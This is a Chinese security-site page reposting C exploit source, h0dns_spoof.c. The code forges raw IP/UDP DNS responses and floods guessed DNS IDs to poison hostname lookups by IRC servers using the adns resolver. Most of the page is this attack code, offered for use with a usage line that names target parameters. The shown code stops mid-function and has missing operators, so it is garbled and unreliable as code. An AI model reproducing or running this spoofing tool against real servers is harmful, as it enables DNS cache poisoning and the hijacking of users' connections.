• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)

BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd) ,其中包含myeclipse 9.x crack,adobe reader 9.x,新点软件9.x,飞腾fit windows 9.x,9.x等知识点,遇到此问题的同学们可以参考下
/* h0dns_spoof.c - zmda - saik0pod@yahoo.com
* - spoof dns on ircd's using the h0dns code
*
* - spoof dns on anything using the adns (asynchronous dns resolver) code
*
* - The bug:
* - Static source port used by the adns code
* - Sequential DNS ids in request packets
*
* - Initiate sequence to trigger a dns lookup by the adns resolver. Send
* the same range of spoofed DNS ids in a constant flood spoofed as the
* primary DNS server for the host. Even a local DNS request will take
* long enough to allow some amount of the spoofed DNS responses through
* before the primary DNS responds. Since the resolver does not cache
* results, the dns lookups can be triggered until the DNS id is
* incremented within the DNS id range being spoofed.
*
*/ #include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h> #ifndef u8
#define u8 unsigned char
#endif #ifndef u16
#define u16 unsigned short
#endif #ifndef u32
#define u32 unsigned long
#endif
struct dns_header {
u16 id;
u16 flags;
u16 questions;
u16 answer_rr;
u16 auth_rr;
u16 extra_rr;
} __attribute__((packed)); struct dns_data {
u16 name;
u16 type;
u16 class;
u16 ttlh;
u16 ttl;
u16 data_len; /* data len - sizeof(char *) */
char *data;
/* data */
} __attribute__((packed)); struct dns_packet {
size_t len;
u8 type;
char *data;
/* packet data */
}; struct dns_query {
size_t len;
char *data;
}; struct ip_header {
u8 ihl:4,
version:4;
u8 tos;
u16 tot_len;
u16 id;
u16 frag_off;
u8 ttl;
u8 protocol;
u16 check;
u32 saddr;
u32 daddr;
}; struct udp_header {
u16 source;
u16 dest;
u16 len;
u16 check;
}; #define DNS_A 0x0001
#define DNS_PTR 0x000c struct udp_packet {
struct ip_header iph;
struct udp_header udph;
}; void usage() {
fprintf(stderr, "usage: ./h0dns_spoof <ircd ip> <ircd dns port> <ircd dns ip> "
"<your ip> <spoof host> <dns id>\n");
exit(-1);
} void fatal(char *reason) {
fprintf(stderr, "fatal: %s\n", reason);
exit(-1);
} unsigned short csum(unsigned short *addr, int len) {
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len; while (nleft > 1) {
sum = *w ;
nleft -= 2;
} if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum = answer;
} sum = (sum >> 16) (sum & 0xffff);
sum = (sum >> 16);
answer = ~sum;
return(answer); /* return the checksum value. */
} struct udp_packet *alloc_packet(size_t datalen) {
struct udp_packet *packet;
struct ip_header *iph;
struct udp_header *udph; if(!(packet = calloc(1, sizeof(struct udp_packet) datalen)))
fatal("error: allocating udp packet"); iph = &packet->iph;
udph = &packet->udph; iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct udp_packet) datalen;
iph->id = htonl(0xbeef);
iph->frag_off = 0;
iph->ttl = 255; iph->protocol = 17; udph->len = htons(sizeof(struct udp_header) datalen); return(packet);
} void init_packet(long source, int sport, long dest, int port,
struct udp_packet *udp_packet,
struct dns_packet *dns_packet) {
struct ip_header *iph;
struct udp_header *udph;
char *data; iph = &udp_packet->iph;
udph = &udp_packet->udph; iph->saddr = source;
iph->daddr = dest;
iph->check = csum((unsigned short *)iph, sizeof(struct ip_header)); udph->check = 0;
udph->source = htons(sport);
udph->dest = htons(port); data = (char *)udp_packet sizeof(struct udp_packet);
memcpy(data, &dns_packet->data, dns_packet->len);
} char *dns_string_format(char *out, char *in) {
int i, x; for(i = strlen(in) - 1, x = 0; i > -1; i--, x ) {
if(in[i] == '.') {
out[i] = x;
x = -1;
} else
out[i] = in[i];
} out[i] = x; return(out);
} struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
char *answer_data, int type) {
struct dns_packet *dns_packet;
struct dns_header *dns_header;
struct dns_data *dns_data;
char *query,
*answer;
size_t totlen,
alen; if(type == DNS_A)
alen = 4;
else
alen = strlen(answer_data); totlen = sizeof(struct dns_header)
qlen
sizeof(struct dns_data) - sizeof(char *) alen
((type == DNS_A) ? 0 : 2); if((dns_packet = calloc(1, totlen sizeof(size_t) 1
sizeof(char *))) == NULL)
fatal("failed alloc"); dns_packet->len = totlen; dns_header = (struct dns_header *) &dns_packet->data;
query = (char *) &dns_packet->data
sizeof(struct dns_header);
dns_data = (struct dns_data *) (query qlen);
answer = (char *) &dns_data->data
((type == DNS_A) ? 0 : 1);
dns_header->flags = htons(0x8180);
dns_header->questions = htons(1);
dns_header->answer_rr = htons(1);
dns_header->auth_rr = htons(0);
dns_header->extra_rr = htons(0);
memcpy(query, query_data, qlen); dns_data->name = htons(0xc00c);
dns_data->type = htons(type);
dns_data->class = htons(1);
dns_data->ttl = htons(300); dns_data->data_len = htons(alen ((type == DNS_A) ? 0 : 1)); if(type == DNS_A)
memcpy(answer, &answer_data, 4);
else
dns_string_format(answer, answer_data); return(dns_packet);
} struct dns_query *alloc_dns_query(char *query, int qtype) {
struct dns_query *dns_query;
size_t qlen;
int i, x = 0;
char *p;
char *data;
u16 *type,
*class; qlen = 1 strlen(query) 1 2 2; if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) qlen)) == NULL)
fatal("fatal alloc\n"); dns_query->len = qlen; data = (char *) &dns_query->data 1;
type = (u16 *) (data

您可能想查找下面的文章:

  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)
  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)
  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)

相关文章

  • MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit
  • Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit
  • Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
  • MFORUM 0.1a Arbitrary Add-Admin Vulnerability
  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)
  • File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
  • pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability
  • Ultra Office ActiveX Control Remote Buffer Overflow Exploit
  • PhotoPost vBGallery 2.4.2 Arbitrary File Upload Vulnerability
  • Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities
    • Maian Search
    • Maian Cart 1.1 Insecure Cookie Handling Vulnerability
    • Dana IRC 1.4a Remote Buffer Overflow Exploit
    • Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability
    • LoveCMS 1.6.2 Final Update Settings Remote Exploit
    • IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit
    • Maian Music 1.0 Insecure Cookie Handling Vulnerability
    • AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability
    • The Personal FTP Server 6.0f RETR Denial of Service Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有